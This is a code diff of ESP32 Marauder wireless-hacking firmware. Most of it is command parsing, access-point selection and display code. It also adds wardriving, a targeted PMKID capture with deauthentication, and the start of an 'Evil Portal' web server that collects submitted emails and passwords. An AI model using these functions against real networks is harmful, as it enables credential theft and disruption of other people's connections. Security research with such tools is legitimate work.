+    Serial.print(", " + (String) unselected + " unselected");
+  
+  Serial.println("");
+}
+
+String CommandLine::toLowerCase(String str) {
+  String result = str;
+  for (int i = 0; i < str.length(); i++) {
+    int charValue = str.charAt(i);
+    if (charValue >= 65 && charValue <= 90) { // ASCII codes for uppercase letters
+      charValue += 32;
+      result.setCharAt(i, char(charValue));
+    }
+  }
+  return result;
+}
+
+void CommandLine::filterAccessPoints(String filter) {
+  int count_selected = 0;
+  int count_unselected = 0;
+
+  // Split the filter string into individual filters
+  LinkedList<String> filters;
+  int start = 0;
+  int end = filter.indexOf(" or ");
+  while (end != -1) {
+    filters.add(filter.substring(start, end));
+    start = end + 4;
+    end = filter.indexOf(" or ", start);
+  }
+  filters.add(filter.substring(start));
+
+  // Loop over each access point and check if it matches any of the filters
+  for (int i = 0; i < access_points->size(); i++) {
+    bool matchesFilter = false;
+    for (int j = 0; j < filters.size(); j++) {
+      String f = toLowerCase(filters.get(j));
+      if (f.substring(0, 7) == "equals ") {
+        String ssidEquals = f.substring(7);
+        if ((ssidEquals.charAt(0) == '\"' && ssidEquals.charAt(ssidEquals.length() - 1) == '\"' && ssidEquals.length() > 1) ||
+            (ssidEquals.charAt(0) == '\'' && ssidEquals.charAt(ssidEquals.length() - 1) == '\'' && ssidEquals.length() > 1)) {
+          ssidEquals = ssidEquals.substring(1, ssidEquals.length() - 1);
+        }
+        if (access_points->get(i).essid.equalsIgnoreCase(ssidEquals)) {
+          matchesFilter = true;
+          break;
+        }
+      } else if (f.substring(0, 9) == "contains ") {
+        String ssidContains = f.substring(9);
+        if ((ssidContains.charAt(0) == '\"' && ssidContains.charAt(ssidContains.length() - 1) == '\"' && ssidContains.length() > 1) ||
+            (ssidContains.charAt(0) == '\'' && ssidContains.charAt(ssidContains.length() - 1) == '\'' && ssidContains.length() > 1)) {
+          ssidContains = ssidContains.substring(1, ssidContains.length() - 1);
+        }
+        String essid = toLowerCase(access_points->get(i).essid);
+        if (essid.indexOf(ssidContains) != -1) {
+          matchesFilter = true;
+          break;
+        }
+      }
+    }
+    // Toggles the selected state of the AP
+    AccessPoint new_ap = access_points->get(i);
+    new_ap.selected = matchesFilter;
+    access_points->set(i, new_ap);
+
+    if (matchesFilter) {
+      count_selected++;
+    } else {
+      count_unselected++;
+    }
+  }
+
+  this->showCounts(count_selected, count_unselected);
+}
+
 void CommandLine::runCommand(String input) {
   if (input != "")
     Serial.println("#" + input);
@@ -267,8 +366,14 @@ void CommandLine::runCommand(String input) {
     Serial.println(HELP_CLEARAP_CMD_A);
     Serial.println(HELP_REBOOT_CMD);
     Serial.println(HELP_UPDATE_CMD_A);
+    Serial.println(HELP_LS_CMD);
+    Serial.println(HELP_LED_CMD);
+    Serial.println(HELP_GPS_DATA_CMD);
+    Serial.println(HELP_GPS_CMD);
     
     // WiFi sniff/scan
+    Serial.println(HELP_EVIL_PORTAL_CMD);
+    Serial.println(HELP_SIGSTREN_CMD);
     Serial.println(HELP_SCANAP_CMD);
     Serial.println(HELP_SCANSTA_CMD);
     Serial.println(HELP_SNIFF_RAW_CMD);
@@ -279,6 +384,7 @@ void CommandLine::runCommand(String input) {
     Serial.println(HELP_SNIFF_DEAUTH_CMD);
     Serial.println(HELP_SNIFF_PMKID_CMD);
     Serial.println(HELP_STOPSCAN_CMD);
+    Serial.println(HELP_WARDRIVE_CMD);
     
     // WiFi attack
     Serial.println(HELP_ATTACK_CMD);
@@ -300,15 +406,15 @@ void CommandLine::runCommand(String input) {
 
   // Stop Scan
   if (cmd_args.get(0) == STOPSCAN_CMD) {
-    if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
-      wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+    //if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
+    //  wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
       //#ifdef HAS_SCREEN
       //  menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
       //#endif
-      WiFi.softAPdisconnect(true);
-      web_obj.shutdownServer();
-      return;
-    }
+    //  WiFi.softAPdisconnect(true);
+    //  web_obj.shutdownServer();
+    //  return;
+    //}
     
     wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
 
@@ -320,6 +426,85 @@ void CommandLine::runCommand(String input) {
       menu_function_obj.changeMenu(menu_function_obj.current_menu);
     #endif
   }
+  else if (cmd_args.get(0) == GPS_DATA_CMD) {
+    #ifdef HAS_GPS
+      if (gps_obj.getGpsModuleStatus()) {
+        Serial.println("Getting GPS Data. Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_DATA;
+        #ifdef HAS_SCREEN
+          menu_function_obj.changeMenu(&menu_function_obj.gpsInfoMenu);
+        #endif
+        wifi_scan_obj.StartScan(WIFI_SCAN_GPS_DATA, TFT_CYAN);
+      }
+    #endif
+  }
+  else if (cmd_args.get(0) == GPS_CMD) {
+    #ifdef HAS_GPS
+      if (gps_obj.getGpsModuleStatus()) {
+        int get_arg = this->argSearch(&cmd_args, "-g");
+
+        if (get_arg != -1) {
+          String gps_info = cmd_args.get(get_arg + 1);
+
+          if (gps_info == "fix")
+            Serial.println("Fix: " + gps_obj.getFixStatusAsString());
+          else if (gps_info == "sat")
+            Serial.println("Sats: " + gps_obj.getNumSatsString());
+          else if (gps_info == "lat")
+            Serial.println("Lat: " + gps_obj.getLat());
+          else if (gps_info == "lon")
+            Serial.println("Lon: " + gps_obj.getLon());
+          else if (gps_info == "alt")
+            Serial.println("Alt: " + (String)gps_obj.getAlt());
+          else if (gps_info == "date")
+            Serial.println("Date/Time: " + gps_obj.getDatetime());
+          else
+            Serial.println("You did not provide a valid argument");
+        }
+      }
+    #endif
+  }
+  // LED command
+  else if (cmd_args.get(0) == LED_CMD) {
+    int hex_arg = this->argSearch(&cmd_args, "-s");
+    int pat_arg = this->argSearch(&cmd_args, "-p");
+    #ifdef PIN
+      if (hex_arg != -1) {
+        String hexstring = cmd_args.get(hex_arg + 1);
+        int number = (int)strtol(&hexstring[1], NULL, 16);
+        int r = number >> 16;
+        int g = number >> 8 & 0xFF;
+        int b = number & 0xFF;
+        //Serial.println(r);
+        //Serial.println(g);
+        //Serial.println(b);
+        led_obj.setColor(r, g, b);
+        led_obj.setMode(MODE_CUSTOM);
+      }
+      else if (pat_arg != -1) {
+        String pat_name = cmd_args.get(pat_arg + 1);
+        pat_name.toLowerCase();
+        if (pat_name == "rainbow") {
+          led_obj.setMode(MODE_RAINBOW);
+        }
+      }
+    #else
+      Serial.println("This hardware does not support neopixel");
+    #endif
+  }
+  // ls command
+  else if (cmd_args.get(0) == LS_CMD) {
+    #ifdef HAS_SD
+      if (cmd_args.size() > 1)
+        sd_obj.listDir(cmd_args.get(1));
+      else
+        Serial.println("You did not provide a dir to list");
+    #else
+      Serial.println("SD support disabled, cannot use command");
+      return;
+    #endif
+  }
+
   // Channel command
   else if (cmd_args.get(0) == CH_CMD) {
     // Search for channel set arg
@@ -429,9 +614,57 @@ void CommandLine::runCommand(String input) {
 
   //// WiFi/Bluetooth Scan/Attack commands
   if (!wifi_scan_obj.scanning()) {
-
+    // Signal strength scan
+    if (cmd_args.get(0) == SIGSTREN_CMD) {
+      Serial.println("Starting Signal Strength Scan. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
+    }
+    // Wardrive
+    else if (cmd_args.get(0) == WARDRIVE_CMD) {
+      #ifdef HAS_GPS
+        if (gps_obj.getGpsModuleStatus()) {
+          Serial.println("Starting Wardrive. Stop with " + (String)STOPSCAN_CMD);
+          #ifdef HAS_SCREEN
+            display_obj.clearScreen();
+            menu_function_obj.drawStatusBar();
+          #endif
+          wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
+        }
+      #endif
+    }
     // AP Scan
-    if (cmd_args.get(0) == SCANAP_CMD) {
+    else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
+      int cmd_sw = this->argSearch(&cmd_args, "-c");
+
+      if (cmd_sw != -1) {
+        String et_command = cmd_args.get(cmd_sw + 1);
+        if (et_command == "start") {
+          Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
+          #ifdef HAS_SCREEN
+            display_obj.clearScreen();
+            menu_function_obj.drawStatusBar();
+          #endif
+          wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
+        }
+        else if (et_command == "reset") {
+          
+        }
+        else if (et_command == "ack") {
+          
+        }
+        else if (et_command == "sethtml") {
+
+        }
+        else if (et_command == "setap") {
+
+        }
+      }
+    }
+    else if (cmd_args.get(0) == SCANAP_CMD) {
       int full_sw = -1;
       #ifdef HAS_SCREEN
         display_obj.clearScreen();
@@ -458,6 +691,9 @@ void CommandLine::runCommand(String input) {
     }
     // Scan stations
     else if (cmd_args.get(0) == SCANSTA_CMD) {    
+      if(access_points->size() < 1)
+        Serial.println("The AP list is empty. Scan APs first with " + (String)SCANAP_CMD);  
+
       Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);  
       #ifdef HAS_SCREEN
         display_obj.clearScreen();
@@ -514,6 +750,14 @@ void CommandLine::runCommand(String input) {
     else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
       int ch_sw = this->argSearch(&cmd_args, "-c");
       int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
+      int l_sw = this->argSearch(&cmd_args, "-l"); // Only run on list
+
+      if (l_sw != -1) {
+        if (!this->apSelected()) {
+          Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+          return;
+        }
+      }
       
       if (ch_sw != -1) {
         wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
@@ -526,11 +770,15 @@ void CommandLine::runCommand(String input) {
         Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
         wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
       }
+      else if ((d_sw != -1) && (l_sw != -1)) {
+        Serial.println("Starting TARGETED PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_LIST_EAPOL, TFT_VIOLET);
+      }
       else {
         Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
         wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
       }
-    }
+    }    
 
     //// WiFi attack commands
     // attack
@@ -670,54 +918,68 @@ void CommandLine::runCommand(String input) {
     //// Bluetooth scan/attack commands
     // Bluetooth scan
     if (cmd_args.get(0) == BT_SNIFF_CMD) {
-      Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
-      #ifdef HAS_SCREEN
-        display_obj.clearScreen();
-        menu_function_obj.drawStatusBar();
+      #ifdef HAS_BT
+        Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
+        #ifdef HAS_SCREEN
+          display_obj.clearScreen();
+          menu_function_obj.drawStatusBar();
+        #endif
+        wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
+      #else
+        Serial.println("Bluetooth not supported");
       #endif
-      wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
     }
     // Bluetooth CC Skimmer scan
     else if (cmd_args.get(0) == BT_SKIM_CMD) {
-      Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
-      #ifdef HAS_SCREEN
-        display_obj.clearScreen();
-        menu_function_obj.drawStatusBar();
+      #ifdef HAS_BT
+        Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
+        #ifdef HAS_SCREEN
+          display_obj.clearScreen();
+          menu_function_obj.drawStatusBar();
+        #endif
+        wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
+      #else
+        Serial.println("Bluetooth not supported");
       #endif
-      wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
     }
 
     // Update command
     if (cmd_args.get(0) == UPDATE_CMD) {
-      int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
+      //int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
       int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
 
       // Update via OTA
-      if (w_sw != -1) {
-        Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
-        wifi_scan_obj.currentScanMode = OTA_UPDATE;
+      //if (w_sw != -1) {
+      //  Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
+      //  wifi_scan_obj.currentScanMode = OTA_UPDATE;
         //#ifdef HAS_SCREEN
         //  menu_function_obj.changeMenu(menu_function_obj.updateMenu);
         //#endif
-        web_obj.setupOTAupdate();
-      }
+      //  web_obj.setupOTAupdate();
+      //}
       // Update via SD
-      else if (sd_sw != -1) {
-        #ifndef WRITE_PACKETS_SERIAL
-          if (!sd_obj.supported) {
-            Serial.println("SD card is not connected. Cannot perform SD Update");
-            return;
-          }
-          wifi_scan_obj.currentScanMode = OTA_UPDATE;
-          sd_obj.runUpdate();
-        #else
-          Serial.println("SD card not initialized. Cannot perform SD Update");
-        #endif
+      if (sd_sw != -1) {
+      #ifdef HAS_SD
+          #ifndef WRITE_PACKETS_SERIAL
+            if (!sd_obj.supported) {
+              Serial.println("SD card is not connected. Cannot perform SD Update");
+              return;
+            }
+            wifi_scan_obj.currentScanMode = OTA_UPDATE;
+            sd_obj.runUpdate();
+          #else
+            Serial.println("SD card not initialized. Cannot perform SD Update");
+          #endif
+      #else
+        Serial.println("SD card support disabled. Cannot perform SD Update");
+        return;
+      #endif
       }
     }
   }
 
 
+  int count_selected = 0;
   //// WiFi aux commands
   // List access points
   if (cmd_args.get(0) == LIST_AP_CMD) {
@@ -728,20 +990,26 @@ void CommandLine::runCommand(String input) {
     // List APs
     if (ap_sw != -1) {
       for (int i = 0; i < access_points->size(); i++) {
-        if (access_points->get(i).selected)
-          Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
+        if (access_points->get(i).selected) {
+          Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
+          count_selected += 1;
+        } 
         else
-          Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
+          Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
       }
+      this->showCounts(count_selected);
     }
     // List SSIDs
     else if (ss_sw != -1) {
       for (int i = 0; i < ssids->size(); i++) {
-        if (ssids->get(i).selected)
+        if (ssids->get(i).selected) {
           Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
+          count_selected += 1;
+        } 
         else
           Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
       }
+      this->showCounts(count_selected);
     }
     // List Stations
     else if (cl_sw != -1) {
@@ -754,6 +1022,7 @@ void CommandLine::runCommand(String input) {
             Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
             Serial.print(sta_mac);
             Serial.println(" (selected)");
+            count_selected += 1;
           }
           else {
             Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
@@ -761,6 +1030,7 @@ void CommandLine::runCommand(String input) {
           }
         }
       }
+      this->showCounts(count_selected);
     }
     else {
       Serial.println("You did not specify which list to show");
@@ -773,50 +1043,66 @@ void CommandLine::runCommand(String input) {
     int ap_sw = this->argSearch(&cmd_args, "-a");
     int ss_sw = this->argSearch(&cmd_args, "-s");
     int cl_sw = this->argSearch(&cmd_args, "-c");
+    int filter_sw = this->argSearch(&cmd_args, "-f");
 
+    count_selected = 0;
+    int count_unselected = 0;
     // select Access points
     if (ap_sw != -1) {
-      // Get list of indices
-      LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
 
-      // Select ALL APs
-      if (cmd_args.get(ap_sw + 1) == "all") {
-        for (int i = 0; i < access_points->size(); i++) {
-          if (access_points->get(i).selected) {
-            // Unselect "selected" ap
-            AccessPoint new_ap = access_points->get(i);
-            new_ap.selected = false;
-            access_points->set(i, new_ap);
-          }
-          else {
-            // Select "unselected" ap
-            AccessPoint new_ap = access_points->get(i);
-            new_ap.selected = true;
-            access_points->set(i, new_ap);
+      // If the filters parameter was specified
+      if (filter_sw != -1) {
+        String filter_ap = cmd_args.get(filter_sw + 1);
+        this->filterAccessPoints(filter_ap);
+      } else {
+        // Get list of indices
+        LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
+
+        // Select ALL APs
+        if (cmd_args.get(ap_sw + 1) == "all") {
+          for (int i = 0; i < access_points->size(); i++) {
+            if (access_points->get(i).selected) {
+              // Unselect "selected" ap
+              AccessPoint new_ap = access_points->get(i);
+              new_ap.selected = false;
+              access_points->set(i, new_ap);
+              count_unselected += 1;
+            }
+            else {
+              // Select "unselected" ap
+              AccessPoint new_ap = access_points->get(i);
+              new_ap.selected = true;
+              access_points->set(i, new_ap);
+              count_selected += 1;
+            }
           }
+          this->showCounts(count_selected, count_unselected);
         }
-      }
-      // Select specific APs
-      else {
-        // Mark APs as selected
-        for (int i = 0; i < ap_index.size(); i++) {
-          int index = ap_index.get(i).toInt();
-          if (!this->inRange(access_points->size(), index)) {
-            Serial.println("Index not in range: " + (String)index);
-            continue;
-          }
-          if (access_points->get(index).selected) {
-            // Unselect "selected" ap
-            AccessPoint new_ap = access_points->get(index);
-            new_ap.selected = false;
-            access_points->set(index, new_ap);
-          }
-          else {
-            // Select "unselected" ap
-            AccessPoint new_ap = access_points->get(index);
-            new_ap.selected = true;
-            access_points->set(index, new_ap);
+        // Select specific APs
+        else {
+          // Mark APs as selected
+          for (int i = 0; i < ap_index.size(); i++) {
+            int index = ap_index.get(i).toInt();
+            if (!this->inRange(access_points->size(), index)) {
+              Serial.println("Index not in range: " + (String)index);
+              continue;
+            }
+            if (access_points->get(index).selected) {
+              // Unselect "selected" ap
+              AccessPoint new_ap = access_points->get(index);
+              new_ap.selected = false;
+              access_points->set(index, new_ap);
+              count_unselected += 1;
+            }
+            else {
+              // Select "unselected" ap
+              AccessPoint new_ap = access_points->get(index);
+              new_ap.selected = true;
+              access_points->set(index, new_ap);
+              count_selected += 1;
+            }
           }
+          this->showCounts(count_selected, count_unselected);
         }
       }
     }
@@ -831,14 +1117,17 @@ void CommandLine::runCommand(String input) {
             Station new_sta = stations->get(i);
             new_sta.selected = false;
             stations->set(i, new_sta);
+            count_unselected += 1;
           }
           else {
             // Select "unselected" ap
             Station new_sta = stations->get(i);
             new_sta.selected = true;
             stations->set(i, new_sta);
+            count_selected += 1;
           }
         }
+        this->showCounts(count_selected, count_unselected);
       }
       // Select specific Stations
       else {
@@ -854,14 +1143,17 @@ void CommandLine::runCommand(String input) {
             Station new_sta = stations->get(index);
             new_sta.selected = false;
             stations->set(index, new_sta);
+            count_unselected += 1;
           }
           else {
             // Select "unselected" ap
             Station new_sta = stations->get(index);
             new_sta.selected = true;
             stations->set(index, new_sta);
+            count_selected += 1;
           }
         }
+        this->showCounts(count_selected, count_unselected);
       }
     }
     // select ssids
@@ -881,14 +1173,17 @@ void CommandLine::runCommand(String input) {
           ssid new_ssid = ssids->get(index);
           new_ssid.selected = false;
           ssids->set(index, new_ssid);
+          count_unselected += 1;
         }
         else {
           // Select "unselected" ap
           ssid new_ssid = ssids->get(index);
           new_ssid.selected = true;
           ssids->set(index, new_ssid);
+          count_selected += 1;
         }
       }
+      this->showCounts(count_selected, count_unselected);
     }
     else {
       Serial.println("You did not specify which list to select from");
@@ -932,4 +1227,41 @@ void CommandLine::runCommand(String input) {
       return;
     }
   }
+  // Join WiFi
+  /*else if (cmd_args.get(0) == JOINWIFI_CMD) {
+    int n_sw = this->argSearch(&cmd_args, "-n"); // name
+    int a_sw = this->argSearch(&cmd_args, "-a"); // access point
+    int s_sw = this->argSearch(&cmd_args, "-s"); // ssid
+    int p_sw = this->argSearch(&cmd_args, "-p");   
+    
+    String essid = "";
+    String pwx = "";
+    
+    if (s_sw != -1) {
+      int index = cmd_args.get(s_sw + 1).toInt();
+      if (!this->inRange(ssids->size(), index)) {
+        Serial.println("Index not in range: " + (String)index);
+        return;
+      }
+      essid = ssids->get(index).essid;
+    } else if (a_sw != -1) {
+      int index = cmd_args.get(a_sw + 1).toInt();
+      if (!this->inRange(access_points->size(), index)) {
+        Serial.println("Index not in range: " + (String)index);
+        return;
+      }
+      essid = access_points->get(index).essid;
+    } else if (n_sw != -1) {
+      essid = cmd_args.get(n_sw + 1);
+    } else {
+      Serial.println("You must specify an access point or ssid");
+      return;
+    }
+    
+    if (p_sw != -1) {
+      pwx = cmd_args.get(p_sw + 1);
+    }
+    Serial.println("Attempting to join WiFi with ssid " + (String)essid);
+    wifi_scan_obj.joinWiFi(essid, pwx);
+  }*/
 }

+ 31 - 17
esp32cam_marauder/Display.cpp

@@ -20,11 +20,17 @@ void Display::RunSetup()
   #endif
   
   tft.init();
-  tft.setRotation(0); // Portrait
+  #ifndef MARAUDER_M5STICKC
+    tft.setRotation(0); // Portrait
+  #endif
+
+  #ifdef MARAUDER_M5STICKC
+    tft.setRotation(3);
+  #endif
 
   tft.setCursor(0, 0);
 
-  #ifndef MARAUDER_MINI
+  #ifdef HAS_ILI9341
 
     #ifdef TFT_SHIELD
       uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
@@ -313,7 +319,7 @@ void Display::displayBuffer(bool do_clear)
 
 void Display::showCenterText(String text, int y)
 {
-  tft.setCursor((SCREEN_WIDTH - (text.length() * 6)) / 2, y);
+  tft.setCursor((SCREEN_WIDTH - (text.length() * (6 * BANNER_TEXT_SIZE))) / 2, y);
   tft.println(text);
 }
 
@@ -380,7 +386,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
   //Serial.println("   tfa: " + (String)tfa);
   //Serial.println("   bfa: " + (String)bfa);
   //Serial.println("yStart: " + (String)this->yStart);
-  #ifndef MARAUDER_MINI
+  #ifdef HAS_ILI9341
     tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
     tft.writedata(tfa >> 8);           // Top Fixed Area line count
     tft.writedata(tfa);
@@ -393,7 +399,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
 
 
 void Display::scrollAddress(uint16_t vsp) {
-  #ifndef MARAUDER_MINI
+  #ifdef HAS_ILI9341
     tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
     tft.writedata(vsp>>8);
     tft.writedata(vsp);
@@ -421,7 +427,7 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
   // the filename can be a String or character array type:
 
   //boolean decoded = JpegDec.decodeFsFile(filename);  // or pass the filename (leading / distinguishes SPIFFS files)
-  boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
+  boolean decoded = JpegDec.decodeArray(MarauderTitle, MARAUDER_TITLE_BYTES);
 
   if (decoded) {
     // print information about the image to the serial port
@@ -435,13 +441,13 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
   //}
 }
 
-void Display::setupDraw() {
+/*void Display::setupDraw() {
   this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
   this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
   this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
-}
+}*/
 
-uint16_t xlast;
+/*uint16_t xlast;
 uint16_t ylast;
 uint32_t AH;
 void Display::drawStylus()
@@ -507,7 +513,7 @@ void Display::drawStylus()
     xlast = 0;
     ylast = 0;
   }
-}
+}*/
 
 //====================================================================================
 //   Decode and render the Jpeg image onto the TFT screen
@@ -745,20 +751,20 @@ void Display::listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
 
 void Display::updateBanner(String msg)
 {
-  this->img.deleteSprite();
+  //this->img.deleteSprite();
   
-  this->img.setColorDepth(8);
+  //this->img.setColorDepth(8);
 
-  this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
+  //this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
 
   this->buildBanner(msg, current_banner_pos);
 
-  this->img.pushSprite(0, STATUS_BAR_WIDTH);
+  //this->img.pushSprite(0, STATUS_BAR_WIDTH);
 
-  current_banner_pos--;
+  //current_banner_pos--;
 
-  if (current_banner_pos <= 0)
-    current_banner_pos = SCREEN_WIDTH + 2;
+  //if (current_banner_pos <= 0)
+  //  current_banner_pos = SCREEN_WIDTH + 2;
 }
 
 
@@ -766,6 +772,13 @@ void Display::buildBanner(String msg, int xpos)
 {
   int h = TEXT_HEIGHT;
 
+  this->tft.fillRect(0, STATUS_BAR_WIDTH, SCREEN_WIDTH, TEXT_HEIGHT, TFT_BLACK);
+  this->tft.setFreeFont(NULL);           // Font 4 selected
+  this->tft.setTextSize(BANNER_TEXT_SIZE);           // Font size scaling is x1
+  this->tft.setTextColor(TFT_WHITE, TFT_BLACK);  // Black text, no background colour
+  this->showCenterText(msg, STATUS_BAR_WIDTH);
+
+  /*
   // We could just use fillSprite(color) but lets be a bit more creative...
 
   // Fill with rainbow stripes
@@ -787,6 +800,7 @@ void Display::buildBanner(String msg, int xpos)
 
   img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
   img.print(msg);
+  */
 }
 
 void Display::main(uint8_t scan_mode)

+ 3 - 40
esp32cam_marauder/Display.h

@@ -8,12 +8,10 @@
 #include <FS.h>
 #include <functional>
 #include <JPEGDecoder.h>
-//#include <SimpleList.h>
 #include <LinkedList.h>
 #include <SPI.h>
 #include <lvgl.h>
 #include <Ticker.h>
-//#include <M5Stack.h>
 #include "SPIFFS.h"
 #include "Assets.h"
 
@@ -39,23 +37,6 @@
 #define LV_ADD_SSID 14
 #define WIFI_ATTACK_BEACON_LIST 15
 
-/*
-PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
-PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
-
-PROGMEM static lv_disp_buf_t disp_buf;
-PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
-
-PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
-PROGMEM static void keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-
-// lvgl stuff
-PROGMEM static lv_obj_t *kb;
-*/
-
-// #define KIT
-// #define TFT_DIY
-
 class Display
 {
   private:
@@ -76,16 +57,9 @@ class Display
       void scrollScreenBuffer(bool down = false);
     #endif
 
-    //void addNodes(Menu* menu, String name, Menu* child, std::function<void()> callable);
-    //void changeMenu(Menu* menu);
-    //void showMenuList(Menu* menu, int layer);
-    //static void lv_tick_handler();
-
   public:
     Display();
-    //Ticker tick;
     TFT_eSPI tft = TFT_eSPI();
-    TFT_eSprite img = TFT_eSprite(&tft);
     TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
     const String PROGMEM version_number = MARAUDER_VERSION;
 
@@ -95,15 +69,9 @@ class Display
     bool draw_tft = false;
     bool exit_draw = false;
 
-    int TOP_FIXED_AREA_2 = 48;
-    int print_delay_1, print_delay_2 = 10;
-    int current_banner_pos = SCREEN_WIDTH;
-
-    //Menu* current_menu;
-    
-    //Menu mainMenu;
-    //Menu wifiMenu;
-    //Menu bluetoothMenu;
+    uint8_t TOP_FIXED_AREA_2 = 48;
+    uint8_t print_delay_1, print_delay_2 = 10;
+    uint8_t current_banner_pos = SCREEN_WIDTH;
 
     LinkedList<String>* display_buffer;
 
@@ -127,9 +95,6 @@ class Display
     // We can speed up scrolling of short text lines by just blanking the character we drew
     int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
 
-    //void initLVGL();
-    //void deinitLVGL();
-    //void joinWiFiGFX();
     void tftDrawRedOnOffButton();
     void tftDrawGreenOnOffButton();
     void tftDrawGraphObjects(byte x_scale);
@@ -143,8 +108,6 @@ class Display
     void clearScreen();
     void displayBuffer(bool do_clear = false);
     void drawJpeg(const char *filename, int xpos, int ypos);
-    void setupDraw();
-    void drawStylus();
     void getTouchWhileFunction(bool pressed);
     void initScrollValues(bool tte = false);
     void jpegInfo();

+ 310 - 0
esp32cam_marauder/EvilPortal.cpp

@@ -0,0 +1,310 @@
+#include "EvilPortal.h"
+
+AsyncWebServer server(80);
+
+EvilPortal::EvilPortal() {
+  this->runServer = false;
+  this->name_received = false;
+  this->password_received = false;
+  this->has_html = false;
+  this->has_ap = false;
+}
+
+bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
+  if (!this->setAP(ssids, access_points))
+    return false;
+  if (!this->setHtml())
+    return false;
+    
+  startPortal();
+
+  return true;
+}
+
+String EvilPortal::get_user_name() {
+  return this->user_name;
+}
+
+String EvilPortal::get_password() {
+  return this->password;
+}
+
+void EvilPortal::setupServer() {
+  server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
+    request->send_P(200, "text/html", index_html);
+    Serial.println("client connected");
+    #ifdef HAS_SCREEN
+      this->sendToDisplay("Client connected to server");
+    #endif
+  });
+
+  server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
+    String inputMessage;
+    String inputParam;
+
+    if (request->hasParam("email")) {
